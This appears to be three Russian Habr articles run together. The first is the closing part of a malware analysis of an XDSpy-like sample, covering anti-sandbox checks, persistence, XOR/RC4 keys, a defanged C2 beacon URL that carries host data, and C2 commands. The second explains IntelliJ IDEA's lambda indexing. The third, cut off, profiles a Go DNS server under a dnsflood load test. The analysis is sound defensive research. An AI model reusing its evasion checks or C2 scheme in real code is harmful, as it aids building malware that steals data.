Помимо этого, также проверяется имя хоста на соответствие **SSADFU,** а значение **HKLM\HARDWARE\DESCRIPTION\System\BIOS\BiosVendor** на наличие подстрок **SeaBIOS**, **VMWare**, **VirtualBox**. Эти проверки приведены на рис. 11. ![Рисунок 11. Anti-vm проверки BiosVendor и файлов](https://habrastorage.org/r/w1560/getpro/habr/upload_files/5a3/060/df7/5a3060df704be0e3803a942d4626507d.png "Рисунок 11. Anti-vm проверки BiosVendor и файлов")Рисунок 11. Anti-vm проверки BiosVendor и файловТакже проверяется наличие нескольких специфичных директорий (рис. 12) и текущее имя пользователя (список аналогичен тому, что использовался в скрипте). Дополнительно проверяется наличие подстроки **vast** (Avast) в ранее собранном списке содержимого Program Files и Program Files (x86). Особый интерес представляет проверка директории **C:**\\**guest – utils**\\, поскольку она служит индикатором для обнаружения старых версий [PT Sandbox](https://www.ptsecurity.com/ru-ru/products/sandbox/). ![Рисунок 12. Anti-sandbox проверки директорий](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f7e/90b/85a/f7e90b85a6d3dace48ae8d1c083e4150.png "Рисунок 12. Anti-sandbox проверки директорий")Рисунок 12. Anti-sandbox проверки директорийЕсли все проверки были успешно пройдены, сэмпл закрепляется в **HKCU\Environment\UserInitLogonScript** (рис. 13). ![Рисунок 13. Закрепление в реестре](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1ce/496/1db/1ce4961db2c7e701f4e23abcfec36de1.png "Рисунок 13. Закрепление в реестре")Рисунок 13. Закрепление в реестреПосле закрепления создается еще один поток, где идет сбор информации о хосте и начинается взаимодействие с командным сервером. В процессе образец получает версию ОС, номер билда и разрядность, а также проверяет наличие установленных антивирусов Kasperky и ESET. Проверка приведена на рис. 14. ![Рисунок 14. Получение информации об антивирусах](https://habrastorage.org/r/w1560/getpro/habr/upload_files/692/858/725/692858725b306df50fb1ba9f5209ad4c.png "Рисунок 14. Получение информации об антивирусах")Рисунок 14. Получение информации об антивирусахДалее собранная информация конкатенируется в одну строку в следующем формате: **OS;Build;Arch;v25286;DesktopName;UserName;[K1|E1]** Где: * OS — версия ОС; * Build — номер билда; * Arch — архитектура ОС (32/64); * v25286 — константная строка, вероятно, версия ВПО; * DesktopName — имя хоста; * UserName — имя текущего пользователя; * K1| E1 — информация о найденном антивирусе, если Kaspersky — K1, если ESET — E1. Иначе подстрока остается пустой. Затем последняя побайтово ксорится с ключом **nirgrun895tg9nsvjnwiv12309ASHDbibvenibowrvREXVYBUNIiugycm898y42irwubuv94nabdRDU**, кодируется в Base64 и преобразуется для HTTP-запроса заменой символов + / = на эквиваленты **%2B, %2F, %3D**. **Генерация ID агента:** 1. Берется хеш (рис. 15) от строки имя хоста + значение реестра **BIOSVendor + v25286**. 2. Берется хеш от строки имя хоста + имя текущего пользователя + строка текущей временной зоны + **v25286**. 3. Оба хеша преобразуются в hex-строки по 8 байтов. 4. К первой строке добавляются первые 4 байта от второй. ![Рисунок 15. Алгоритм, используемый при генерации ID агента](https://habrastorage.org/r/w1560/getpro/habr/upload_files/939/c78/bd2/939c78bd25c49893d5d6a9e79f922f9a.png "Рисунок 15. Алгоритм, используемый при генерации ID агента")Рисунок 15. Алгоритм, используемый при генерации ID агентаПеред обращением к серверу также идет проверка наличия файла конфигурации. Имя файла собирается из нескольких параметров и в несколько этапов: 1. Создается директория **%APPDATA%\AppInfo\.** 2. Конкатенируются строки **v25286** + ID агента + **hiuhgnywervg9837kjfbhnwuier.** 3. Результат хешируется функцией на рис. 16, преобразуется в десятичный формат и затем в строку. 4. К полученной строке конкатенируется строка **LKolkijhkUI** и расширение .**zxtu**. ![Рисунок 16. Алгоритм хеширования, используемый при генерации пути конфига ](https://habrastorage.org/r/w1560/getpro/habr/upload_files/4ee/0bb/b7c/4ee0bbb7cfb74568821bc42abe939912.png "Рисунок 16. Алгоритм хеширования, используемый при генерации пути конфига ")Рисунок 16. Алгоритм хеширования, используемый при генерации пути конфига Если файл конфигурации был найден, то далее он читается и расшифровывается по алгоритму RC4 с ключом **OP789hqedoevrn68f34byicw@#njsunodejwdn023ejcwfedwf3t5hbcuibwegv**. Из него образец может получить информацию о новом С2 и используемом протоколе (http/https). Если файл не был найден, будет использован захардкоженный адрес С2. Затем ВПО переходит в цикл обращения к контрольному серверу. Между запросами идет случайная задержка (рис. 17). ![Рисунок 17. Случайная задержка между обращениями к контрольному серверу ](https://habrastorage.org/r/w1560/getpro/habr/upload_files/587/943/895/5879438958f3e790b9f2ea28a46a194f.png "Рисунок 17. Случайная задержка между обращениями к контрольному серверу ")Рисунок 17. Случайная задержка между обращениями к контрольному серверу Для обращения к серверу ВПО собирает POST-запрос с тремя параметрами: * **hr&u**=3a7319bb710f — 12-байтный ID агента; * **&sduyviop**=5XpOmZ0bT43Q035YY — ID запроса, может иметь длину от 10 до 20 символов; * **&sfin**=X1lcV0lEVwgMA09RDVUFRF9cT19NdXdge20OA2UPKS43TyEjUhccEgBNGXQ%3 — собранная ранее информация о хосте. Итоговый запрос может выглядеть так: `https[://]my1businessconnection[.]com/hr&u=3a7319bb710f&sduyviop=5XpOmZ0bT43Q035YY&sfin=X1lcV0lEVwgMA09RDVUFRF9cT19NdXdge20OA2UPKS43TyEjUhccEgBNGXQ%3` В ответ ВПО получает накрытый RC4 блок данных от сервера, который содержит в себе одну из девяти команд и дополнительные данные к ней (если требуются). Поддерживаются следующие команды: * **watghber** — сон 1500мс через комбинацию вызовов **CreateEventW** + **WaitForSingleObject**; * **r4g3rf** — аналогично предыдущему, но через **CreateSemaphoreW** + **WaitForSingleObject;** * **56uhj544getr** — увеличивает внутренний счетчик на 100 (его значение нигде не используется); * **gfdfgdfgsfuilkyuj** — вызывает функцию **GetUserNameW**, результат также не используется; * **ccsv** — обновляет информацию о С2 и используемом протоколе (http/https) и сохраняет ее в файл (рис. 18); ![Рисунок 18. Обновление конфигурации агента](https://habrastorage.org/r/w1560/getpro/habr/upload_files/8e7/822/ebd/8e7822ebd712a5f92393a9080c1a2055.png "Рисунок 18. Обновление конфигурации агента")Рисунок 18. Обновление конфигурации агента* **plug** — создает отдельный поток, где расшифровывает (RC4), размещает в памяти и вызывает полученную библиотеку. Название и функционал намекают, что команда отвечает за установку плагинов. * **bwtp** — похоже на **plug**, но в отличие от него не создает новый поток, а размещает в памяти и вызывает библиотеку в том же потоке. Результат работы накрывается RC4 и отправляется на С2. После вызова библиотека выгружается из памяти. Пример вызова приведен на рис. 19; ![Рисунок 19. Запуск полученной библиотеки](https://habrastorage.org/r/w1560/getpro/habr/upload_files/a72/b68/2e1/a72b682e12b3c46a09729a470102b41f.png "Рисунок 19. Запуск полученной библиотеки")Рисунок 19. Запуск полученной библиотеки* **rstpg** — проходит по адресам библиотек, загруженных командой **plug**, и вызывает второй экспорт для каждой. Скорее всего, команда отвечает за выгрузку всех установленных плагинов (рис. 20). ![Рисунок 20. Выгрузка всех плагинов](https://habrastorage.org/r/w1560/getpro/habr/upload_files/a18/6ee/a87/a186eea87f1edda545c598c0cc9511a3.png "Рисунок 20. Выгрузка всех плагинов")Рисунок 20. Выгрузка всех плагинов* **sysinfo** — собирает и шлет отдельным POST-запросом расширенную информацию о системе и агенте. Перед отправкой также накрывается RC4. Помимо описанного ранее (за исключением информации об антивирусах), сюда входит: * полный список директорий из Program Files и Program Files (x86); * информация о подключенных дисках и их типе; * текущий С2; * ID агента. Итого: исследуемый образец представляет собой модульное ВПО, где основной функционал находится в получаемых от С2 модулях.   Атрибуция --------- **Что говорит в пользу XDSpy**: 1. Вредоносные кампании [XDSpy](https://www.welivesecurity.com/2020/10/02/xdspy-stealing-government-secrets-since-2011/) всегда были ориентированы на русскоязычные страны. Фишинговые письма составлялись с учетом актуальных событий в России. В частности, вредоносные кампании, проводимые в 2020 г., были ориентированы на COVID-19 и волнения в Республике Беларусь. Кроме того, тематика писем также была связана с работой отдельных государственных учреждений (рис. 21). ![Рисунок 21. Пример фишингового письма вредоносных кампаний XDSpy за 2020 г.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/742/ea6/0e1/742ea60e168a6451e0c715dc3e88af61.png "Рисунок 21. Пример фишингового письма вредоносных кампаний XDSpy за 2020 г.")Рисунок 21. Пример фишингового письма вредоносных кампаний XDSpy за 2020 г.2. В качестве вредоносного модуля на первом этапе заражения в данной кампании используется WSF-скрипт. Этот подход также использовался группировкой XDSpy в рамках вредоносных кампаний 2020 г. При глубоком анализе образцов 2020 и 2022 гг. выявлены следующие схожие функции: * обращение к ресурсу-приманке через метод Navigate объекта InternetExplorer.Appplication (рис. 22); ![Рисунок 22. Обращение к ресурсу-приманке в образце 2020 г. (слева) и 2022 г. (справа)](https://habrastorage.org/r/w1560/getpro/habr/upload_files/05f/4e7/689/05f4e76893a73eff035084fc89c33757.png "Рисунок 22. Обращение к ресурсу-приманке в образце 2020 г. (слева) и 2022 г. (справа)")Рисунок 22. Обращение к ресурсу-приманке в образце 2020 г. (слева) и 2022 г. (справа)* формирование списка всех директорий, содержащихся в папках Program Files и Program Files (x86) одной строкой через разделитель (рис. 23); ![Рисунок 23. Формирование списка директорий одной строкой в образце 2020 г. (слева) и 2022 г. (справа)](https://habrastorage.org/r/w1560/getpro/habr/upload_files/604/775/9c9/6047759c96cf481d5fa0bfa166c1f542.png "Рисунок 23. Формирование списка директорий одной строкой в образце 2020 г. (слева) и 2022 г. (справа)")Рисунок 23. Формирование списка директорий одной строкой в образце 2020 г. (слева) и 2022 г. (справа)* проверка перечня защитных решений, установленных на зараженном компьютере, с использованием ранее сформированного перечня директорий (рис. 24); ![Рисунок 24. Поиск защитных решений в образце 2020 г. (слева) и 2022 г. (справа)](https://habrastorage.org/r/w1560/getpro/habr/upload_files/726/263/52b/72626352b27a6561693a4bfe6b86f507.png "Рисунок 24. Поиск защитных решений в образце 2020 г. (слева) и 2022 г. (справа)")Рисунок 24. Поиск защитных решений в образце 2020 г. (слева) и 2022 г. (справа)* проверка работы в виртуальной среде (рис. 25); ![Рисунок 25. Проверка работы в виртуальной среде в образце 2020 г. (слева) и 2022 г. (справа)](https://habrastorage.org/r/w1560/getpro/habr/upload_files/49f/642/c92/49f642c92eab976ac866c161a47ab209.png "Рисунок 25. Проверка работы в виртуальной среде в образце 2020 г. (слева) и 2022 г. (справа)")Рисунок 25. Проверка работы в виртуальной среде в образце 2020 г. (слева) и 2022 г. (справа)* запуск полезной нагрузки через объект класса ShellWindows (рис. 26). ![Рисунок 26. Запуск полезной нагрузки в образце 2020 г. (слева) и 2022 г. (справа)](https://habrastorage.org/r/w1560/getpro/habr/upload_files/53c/1eb/3a4/53c1eb3a4c6c33513cf43a311db8e66b.png "Рисунок 26. Запуск полезной нагрузки в образце 2020 г. (слева) и 2022 г. (справа)")Рисунок 26. Запуск полезной нагрузки в образце 2020 г. (слева) и 2022 г. (справа)Кроме того, в обоих образцах используется схожий алгоритм расшифрования полезной нагрузки и ее развертывания. Последовательность размещения функций в скриптах также практически идентична. Однако стоит также отметить сходство алгоритма хеширования, используемого для генерации ID агента с тем, что ранее использовался в [Trickbot](https://malpedia.caad.fkie.fraunhofer.de/details/win.trickbot) (рис. 27). ![Рисунок 27. Алгоритм хеширования строк в Trickbot (слева) и исследуемом образце (справа)](https://habrastorage.org/r/w1560/getpro/habr/upload_files/db7/f88/725/db7f88725efec5eaf37b41b1128c1377.png "Рисунок 27. Алгоритм хеширования строк в Trickbot (слева) и исследуемом образце (справа)")Рисунок 27. Алгоритм хеширования строк в Trickbot (слева) и исследуемом образце (справа)Вывод ----- Первый этап заражения похож на ранее описанные подходы XDSpy, однако в основной нагрузке есть некоторые различия. Для закрепления в системе был выбран менее популярный ключ реестра, а также изменился метод шифрования коммуникации с командным сервером. Другим интересным моментом является использование одного из алгоритмов хеширования, аналогичного тому, что ранее был замечен в Trickbot. У нас нет достаточных фактов для атрибутирования атаки к активности XDSpy, а обнаруженный фрагмент кода из зловреда Trickbot, не связанного с XDSpy, дает основания полагать, что это может быть примером использования тактик действия XDSpy с целью мимикрии под APT-группу, а не лишь только заимствования фрагментов кода. Кроме того, отметим, что это был первый известный нам случай попытки уклонения ВПО от обнаружения [нашей песочницей](https://www.ptsecurity.com/ru-ru/products/sandbox/). --- ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/94c/2bc/305/94c2bc305fa3028e5209c12ff49c9aee.png)##### Александр Тюков Специалист отдела обнаружения вредоносного ПО экспертного центра безопасности Positive Technologies ([PT Expert Security Center](https://www.ptsecurity.com/ru-ru/services/esc/))
https://habr.com/ru/post/692546/
null
ru
null
# Как мы в IntelliJ IDEA ищем лямбда-выражения ![Type Hierarchy в IntelliJ IDEA](https://habrastorage.org/r/w1560/webt/ff/js/7m/ffjs7m9ycsved2ciyrqdvb4uiwe.png)Важной возможностью любой IDE является поиск и навигация по коду. Один из часто используемых вариантов поиска на языке Java — поиск всех реализаций данного интерфейса. Часто такая функция называется иерархией типов (Type Hierarchy) и выглядит как на картинке справа. Перебирать все классы проекта при вызове этой функции — неэффективно. Можно сохранить в индекс полную иерархию классов во время компиляции, так как компилятор все равно ее строит. Мы это делаем, если компиляция запускается самой IDE, а не делегируется, например, в Gradle. Но это работает, только если после компиляции в модуле ничего не менялось. А в общем случае исходники — самый актуальный источник информации, и индексы строятся по исходникам. Поиск непосредственных наследников — несложная задача, если мы не имеем дело с функциональным интерфейсом. При поиске реализаций интерфейса `Foo` надо найти все классы, где есть `implements Foo`, и интерфейсы, где есть `extends Foo`, а также анонимные классы вида `new Foo(...) {...}`. Для этого достаточно заранее построить синтаксическое дерево каждого файла проекта, найти соответствующие конструкции и добавить их в индекс. Конечно, тут есть небольшая тонкость: возможно, вы ищете интерфейс `com.example.goodcompany.Foo`, а где-то на самом деле используется `org.example.evilcompany.Foo`. Можно ли заранее положить в индекс полное имя родительского интерфейса? С этим имеются сложности. К примеру, файл, где интерфейс используется, может выглядеть так: ``` // MyFoo.java import org.example.foo.*; import org.example.bar.*; import org.example.evilcompany.*; class MyFoo implements Foo {...} ``` Глядя только на файл, мы не можем понять, какое же настоящее полное имя `Foo`. Придется посмотреть на содержимое нескольких пакетов. А каждый пакет может быть определен в нескольких местах (к примеру, в нескольких jar-файлах). Индексирование сильно затянется, если при анализе данного файла нам придется делать полноценное разрешение символа. Но основная проблема даже не в этом, а в том, что индекс, построенный по файлу `MyFoo.java`, будет зависеть не только от него, но и от других файлов. Ведь мы можем перенести описание интерфейса `Foo`, к примеру, из пакета `org.example.foo` в пакет `org.example.bar`, и ничего не менять в файле `MyFoo.java`, и при этом полное имя `Foo` изменится. Индексы в IntelliJ IDEA зависят только от содержимого одного файла. С одной стороны, это очень удобно: индекс, относящийся к определенному файлу, становится недействительным, когда меняется этот файл. С другой стороны, это накладывает большие ограничения на то, что можно поместить в индекс. Например, не позволяет надежно сохранять в индексе полные имена родительских классов. Но, в принципе, это и не так страшно. При запросе иерархии типов мы можем найти всё, что подходит по короткому имени, а потом уже для этих файлов выполнить честное разрешение символа и определить, действительно ли он нам подходит. В большинстве случаев лишних символов окажется не очень много и такая проверка будет довольно быстрой. ![Иерархия функционального интерфейса в IntelliJ IDEA](https://habrastorage.org/r/w1560/webt/e-/nn/0y/e-nn0ynvtojiydboaco5uiyzwms.png)Ситуация сильно меняется, когда класс, наследников которого мы ищем, является функциональным интерфейсом. Тогда помимо явных и анонимных наследников у нас появляются лямбда-выражения и ссылки на методы. Что же теперь положить в индекс, и что вычислять непосредственно при поиске? Предположим, у нас есть функциональный интерфейс: ``` @FunctionalInterface public interface StringConsumer { void consume(String s); } ``` В коде встречаются разные лямбда-выражения. Например: ``` () -> {} // точно не подходит: нет параметров (a, b) -> a + b // точно не подходит: два параметра s -> { return list.add(s); // точно не подходит: возвращаем значение } s -> list.add(s); // может и подходит ``` То есть быстро мы можем отфильтровать только те лямбды, у которых неподходящее количество параметров либо очевидно неподходящий возвращаемый тип, например void против не-void. Определить возвращаемый тип более точно обычно нельзя. Скажем, в лямбде `s -> list.add(s)` для этого надо выполнить разрешение символов `list` и `add`, а, возможно, и запустить полноценную процедуру вывода типов. Все это долго и потребует завязки на содержимое других файлов. Нам повезет, если наш функциональный интерфейс принимает пять аргументов. Но если он принимает всего один аргумент, такой фильтр оставит огромное число лишних лямбд. Еще хуже со ссылками на методы. В принципе, по внешнему виду любой ссылки на метод никак нельзя сказать, подходит она или нет. Возможно, стоит посмотреть вокруг лямбды, чтобы что-то понять? Да, иногда это работает. Например: ``` // объявление локальной переменной или поля другого типа Predicate p = s -> list.add(s); // возврат из метода другого типа IntPredicate getPredicate() { return s -> list.add(s); } // присваивание локальной переменной другого типа SomeType fn; fn = s -> list.add(s); // приведение к другому типу foo((SomeFunctionalType)(s -> list.add(s))); // объявление массива другого типа Foo[] myLambdas = {s -> list.add(s), s -> list.remove(s)}; ``` Во всех этих случаях короткое имя соответствующего функционального интерфейса можно выяснить из текущего файла и положить в индекс рядом с функциональным выражением, будь то лямбда или ссылка на метод. К сожалению, в реальных проектах этими случаями покрывается очень малая доля всех лямбд. В подавляющем большинстве случаев лямбда используется как аргумент метода: ``` list.stream() .filter(s -> StringUtil.isNonEmpty(s)) .map(s -> s.trim()) .forEach(s -> list.add(s)); ``` Какая из этих трех лямбд может иметь тип `StringConsumer`? Программисту ясно, что никакая. Потому что очевидно, что здесь у нас цепочка Stream API, а там только функциональные интерфейсы из стандартной библиотеки, нашего типа там быть не может. Однако IDE не должна давать себя обмануть, она обязана выдать точный ответ. Что если `list` — это совсем не `java.util.List`, а `list.stream()` возвращает вовсе не `java.util.stream.Stream`? Для этого надо резолвить символ `list`, что, как мы знаем, невозможно надежно сделать только на основе содержимого текущего файла. Да и даже если мы это установили, поиск не должен закладываться на реализацию стандартной библиотеки. Может, мы конкретно в этом проекте подменили класс `java.util.List` на свой собственный? Поиск обязан на это отреагировать. Ну и, разумеется, лямбды используются не только в стандартных стримах, есть и много других методов, куда они передаются. В итоге получается, что мы у индекса можем запросить список всех Java-файлов, где используются лямбды с нужным числом параметров и допустимым возвращаемым типом (на самом деле мы отслеживаем только четыре варианта: void, не-void, boolean и любой). А дальше что? Для каждого из этих файлов строить полное дерево PSI (это вроде дерева разбора, но с разрешением символов, выводом типов и другими умными штуками) и честно выполнять вывод типа для лямбды? Тогда в большом проекте вы не дождетесь списка всех реализаций интерфейса, даже если их будет всего две. Получается, нам надо проделать следующие шаги: * Спросить у индекса (дешево) * Построить PSI (дорого) * Вывести тип лямбды (очень дорого) В Java версии 8 и старше вывод типа — безумно дорогая операция. В сложной цепочке вызовов у вас может быть множество подстановочных generic-параметров, значения которых надо выяснить с помощью зубодробительной процедуры, описанной в [главе 18](https://docs.oracle.com/javase/specs/jls/se8/html/jls-18.html) спецификации. Это можно делать в фоне для текущего редактируемого файла, но выполнять это для тысяч неоткрытых файлов будет тяжело. Здесь, впрочем, можно немного срезать угол: в большинстве случаев нам не нужен окончательный тип. Если только лямбда не передается в метод, принимающий в этом месте generic-параметр, мы можем избавиться от последнего шага подстановки параметров. Скажем, если мы вывели тип лямбды `java.util.function.Function`, мы можем не вычислять значения подстановочных параметров `T` и `R`: и так ясно, выдавать ее в результат поиска или нет. Хотя это не сработает при вызове метода вроде такого: ``` static void doSmth(Class aClass, T value) {} ``` Этот метод можно вызвать вот так: `doSmth(Runnable.class, () -> {})`. Тогда тип лямбды выведется как `T`, и подставлять все равно придется. Но это редкий случай. Поэтому тут сэкономить получается, но не больше 10%. Кардинально проблема не решается. Другая идея: если точный вывод типов сложный, то давайте сделаем приблизительный вывод. Пусть он работает только на стертых типах классов и не делает редукцию набора ограничений, как написано в спецификации, а просто идет по цепочке вызовов. Пока стертый тип не включает generic-параметров, то все хорошо. К примеру, возьмем стрим из примера выше и определим, реализует ли последняя лямбда наш `StringConsumer`: * Переменная `list` → тип `java.util.List` * Метод `List.stream()` → тип `java.util.stream.Stream` * Метод `Stream.filter(...)` → тип `java.util.stream.Stream`, на аргументы `filter` даже не смотрим, какая разница * Метод `Stream.map(...)` → тип `java.util.stream.Stream`, аналогично * Метод `Stream.forEach(...)` → есть такой метод, его параметр имеет тип `Consumer`, который, очевидно, не `StringConsumer`. Прекрасно, обошлись без полноценного вывода типов. С таким простым подходом, впрочем, легко напороться на перегруженные методы. Если мы полностью вывод типов не запускаем, то выбрать правильный перегруженный вариант нельзя. Хотя нет, иногда можно, если число параметров методов различается. Например: ``` CompletableFuture.supplyAsync(Foo::bar, myExecutor).thenRunAsync(s -> list.add(s)); ``` Здесь мы можем легко понять, что * Методов `CompletableFuture.supplyAsync` имеется два, но один принимает один аргумент, а второй — два, поэтому выбираем тот, который принимает два. Он возвращает `CompletableFuture`. * Методов `thenRunAsync` тоже два, и из них можно аналогичным образом выбрать тот, который принимает один аргумент. Соответствующий параметр имеет тип `Runnable`, значит это не `StringConsumer`. Если же несколько методов принимают одинаковое количество параметров, либо некоторые имеют переменное число параметров и тоже выглядят подходящими, то придется отслеживать все варианты. Но часто это тоже не страшно. Например: ``` new StringBuilder().append(foo).append(bar).chars().forEach(s -> list.add(s)); ``` * `new StringBuilder()` очевидно создает `java.lang.StringBuilder`. Для конструкторов мы все-таки разрешаем ссылку, но сложный вывод типов здесь не требуется. Даже если бы было `new Foo<>(x, y, z)`, мы не выводим значения типовых параметров, нам интересен только `Foo`. * Методов `StringBuilder.append`, принимающих один аргумент, очень много, но все они возвращают тип `java.lang.StringBuilder`, поэтому нам неважно, какого там типа `foo` и `bar`. * Метод `StringBuilder.chars` один и возвращает `java.util.stream.IntStream`. * Метод `IntStream.forEach` один и принимает тип `IntConsumer`. Даже если где-то остается несколько вариантов, можно отслеживать их все. Например, тип лямбды, переданной в `ForkJoinPool.getInstance().submit(...)`, может быть `Runnable` или `Callable`, но если мы ищем что-то третье, то все еще можем отбросить эту лямбду. Неприятная ситуация возникает, когда метод возвращает generic-параметр. Тогда процедура ломается и приходится запускать полный вывод типов. Впрочем, один случай мы поддержали. Он хорошо проявляется на моей библиотеке StreamEx, в которой есть абстрактный класс `AbstractStreamEx>`, содержащий методы вроде `S filter(Predicate super T predicate)`. Обычно люди работают с конкретным классом `StreamEx extends AbstractStreamEx>`. В данном случае можно выполнить подстановку параметра типа и узнать, что `S = StreamEx`. Отлично, мы во многих случаях избавились от очень дорогого вывода типов. Но мы ничего не сделали с построением PSI. Как-то обидно делать синтаксический разбор файла на пятьсот строк только ради того, чтобы выяснить, что лямбда в строке 480 не подходит под наш запрос. Вернемся к нашему стриму: ``` list.stream() .filter(s -> StringUtil.isNonEmpty(s)) .map(s -> s.trim()) .forEach(s -> list.add(s)); ``` Если `list` — это локальная переменная, параметр метода или поле в текущем классе, то уже на этапе индексирования мы можем найти ее объявление и установить, что короткое имя типа — `List`. Соответственно, в индекс для последней лямбды мы можем положить следующую информацию: > Тип сей лямбды есть тип параметра метода `forEach` от одного аргумента, вызванного на результате метода `map` от одного аргумента, вызванного на результате метода `filter` от одного аргумента, вызванного на результате метода `stream` от нуля аргументов, вызванного у объекта типа `List`. Вся эта информация доступна по текущему файлу, а значит может быть размещена в индексе. Во время поиска мы запрашиваем у индекса такую информацию обо всех лямбдах и пытаемся восстановить тип лямбды без построения PSI. Для начала придется выполнить глобальный поиск классов с коротким именем `List`. Конечно, мы найдем не только `java.util.List`, а еще `java.awt.List` или что-нибудь из кода пользовательского проекта. Дальше мы подадим все эти классы в ту же процедуру неточного разрешения типов, которой мы пользовались раньше. Часто лишние классы сами быстро отфильтруются. Например, в `java.awt.List` нет метода `stream`, поэтому дальше он исключается. Но даже если что-то лишнее будет с нами до конца и мы найдем несколько кандидатов на тип нашей лямбды, неплохие шансы, что все они не подойдут под поисковый запрос, и мы все равно избежим построения полного PSI. Возможны варианты, что глобальный поиск окажется слишком дорог (в проекте много классов `List`), либо начало цепочки не разрешается в контексте одного файла (скажем, это поле родительского класса), либо где-то цепочка прервется, потому что метод возвращает generic-параметр. Тогда мы сразу не сдаемся и пытаемся снова начать с глобального поиска на следующем методе цепочки. Например, для цепочки `map.get(key).updateAndGet(a -> a * 2)` в индекс легла следующая инструкция: > Тип сей лямбды есть тип единственного параметра метода `updateAndGet`, вызванного на результате метода `get` с одним параметром, вызванного на объекте типа `Map`. Пусть нам повезло и в проекте всего один тип `Map` — `java.util.Map`. У него действительно есть метод `get(Object)`, но, к сожалению, он возвращает generic-параметр `V`. Тогда мы бросаем цепочку и ищем глобально метод `updateAndGet` с одним параметром (с помощью индекса, конечно). О чудо, таких методов всего три в проекте, в классах `AtomicInteger`, `AtomicLong` и `AtomicReference` с параметром типа `IntUnaryOperator`, `LongUnaryOperator` и `UnaryOperator`, соответственно. Если мы ищем любой другой тип, то мы выяснили, что данная лямбда не подходит и PSI можно не строить. Удивительно, что это яркий пример фичи, которая со временем сама начинает работать медленнее. К примеру, вы ищете реализации функционального интерфейса, их всего три штуки в проекте, а IntelliJ IDEA их ищет десять секунд. А вы прекрасно помните, что три года назад их было тоже три, вы их тоже искали, но тогда среда выдавала ответ за две секунды на этой же машине. И проект у вас хоть и огромный, но за три года вырос, может, процентов на пять. Конечно, вы начинаете справедливо негодовать, чего там эти разработчики напортили, что IDE стала так жутко тормозить. Руки бы поотрывать этим горе-программистам. А мы, может быть, вообще ничего не меняли. Может быть поиск работает так же, как три года назад. Просто три года назад вы только перешли на Java 8, и у вас в проекте было, скажем, всего сто лямбд. А теперь ваши коллеги превратили анонимные классы в лямбды, стали активно использовать стримы или подключили какую-нибудь реактивную библиотеку, в результате лямбд стало не сто, а десять тысяч. И теперь, чтобы откопать три нужные лямбды, IDE надо перерыть в сто раз больше. Я сказал «может быть», потому что, естественно, мы время от времени возвращаемся к этому поиску и пытаемся его ускорить. Но тут приходится грести даже не против течения, а вверх по водопаду. Мы стараемся, но количество лямбд в проектах растет очень быстро.
https://habr.com/ru/post/444052/
null
ru
null
# Как мы оптимизировали наш DNS-сервер с помощью инструментов GO *В преддверии старта нового потока по курсу [«Разработчик Golang»](https://otus.pw/MA66/) подготовили перевод интересного материала.* ![](https://habrastorage.org/r/w1560/webt/_m/nk/zf/_mnkzfy1x9apnfm5u3hikc54-7w.png) --- Наш [авторитативный DNS-сервер](https://github.com/hawell/redins) используют десятки тысяч веб-сайтов. Мы ежедневно отвечаем на миллионы запросов. В наши дни DNS-атаки становятся все более и более распространенными, DNS является важной частью нашей системы, и мы должны убедиться, что мы можем хорошо работать под высокой нагрузкой. [dnsflood](https://github.com/nickwinn/dns-flood) — это небольшой инструмент, способный генерировать огромное количество udp запросов. ``` # timeout 20s ./dnsflood example.com 127.0.0.1 -p 2053 ``` Мониторинг систем показал, что использование памяти нашим сервисом росло так быстро, что нам пришлось остановить его, иначе мы столкнулись бы с OOM ошибками. Это было похоже на проблему утечки памяти; существуют различные причины «похожих на» и «реальных» утечек памяти в go: * висящие горутины * неправильное использование defer и finalizer * подстроки и подсрезы * глобальные переменные [Этот пост](https://go101.org/article/memory-leaking.html) содержит подробное объяснение различных случаев утечек. Прежде чем делать какие-либо выводы, давайте сначала проведем профилирование. ### GODEBUG Различные средства отладки можно включить с помощью переменной среды `GODEBUG`, передав список разделенных запятыми пар `name=value`. #### Трассировка планировщика Трассировка планировщика (scheduler trace) может предоставить информацию о поведении горутин во время выполнения. Чтобы включить трассировку планировщика, запустите программу с `GODEBUG=schedtrace=100`, значение определяет период вывода в мс. ``` $ GODEBUG=schedtrace=100 ./redins -c config.json SCHED 2952ms: ... runqueue=3 [26 11 7 18 13 30 6 3 24 25 11 0] SCHED 3053ms: ... runqueue=3 [0 0 0 0 0 0 0 0 4 0 21 0] SCHED 3154ms: ... runqueue=0 [0 6 2 4 0 30 0 5 0 11 2 5] SCHED 3255ms: ... runqueue=1 [0 0 0 0 0 0 0 0 0 0 0 0] SCHED 3355ms: ... runqueue=0 [1 0 0 0 0 0 0 0 0 0 0 0] SCHED 3456ms: ... runqueue=0 [0 0 0 0 0 0 0 0 0 0 0 0] SCHED 3557ms: ... runqueue=0 [13 0 3 0 3 33 2 0 10 8 10 14] SCHED 3657ms: ...runqueue=3 [14 1 0 5 19 54 9 1 0 1 29 0] SCHED 3758ms: ... runqueue=0 [67 1 5 0 0 1 0 0 87 4 0 0] SCHED 3859ms: ... runqueue=6 [0 0 3 6 0 0 0 0 3 2 2 19] SCHED 3960ms: ... runqueue=0 [0 0 1 0 1 0 0 1 0 1 0 0] SCHED 4060ms: ... runqueue=5 [4 0 5 0 1 0 0 0 0 0 0 0] SCHED 4161ms: ... runqueue=0 [0 0 0 0 0 0 0 1 0 0 0 0] SCHED 4262ms: ... runqueue=4 [0 128 21 172 1 19 8 2 43 5 139 37] SCHED 4362ms: ... runqueue=0 [0 0 0 0 0 0 0 0 0 0 0 0] SCHED 4463ms: ... runqueue=6 [0 28 23 39 4 11 4 11 25 0 25 0] SCHED 4564ms: ... runqueue=354 [51 45 33 32 15 20 8 7 5 42 6 0] ``` *runqueue* — это длина глобальной очереди запускаемых горутин. Числа в скобках — это длина очереди процессов. Идеальная ситуация — когда все процессы заняты выполнением горутин, и умеренная длина очереди выполнения равномерно распределена между всеми процессами: ``` SCHED 2449ms: gomaxprocs=12 idleprocs=0 threads=40 spinningthreads=1 idlethreads=1 runqueue=20 [20 20 20 20 20 20 20 20 20 20 20] ``` Глядя на вывод *schedtrace*, мы можем видеть периоды времени, когда почти все процессы простаивают. Это означает, что мы не используем процессор на полную мощность. #### Трассировка сборщика мусора Чтобы включить трассировку сборщика мусора (GC), запустите программу с переменной среды `GODEBUG=gctrace=1`: ``` GODEBUG=gctrace=1 ./redins -c config1.json . . . gc 30 @3.727s 1%: 0.066+21+0.093 ms clock, 0.79+128/59/0+1.1 ms cpu, 67->71->45 MB, 76 MB goal, 12 P gc 31 @3.784s 2%: 0.030+27+0.053 ms clock, 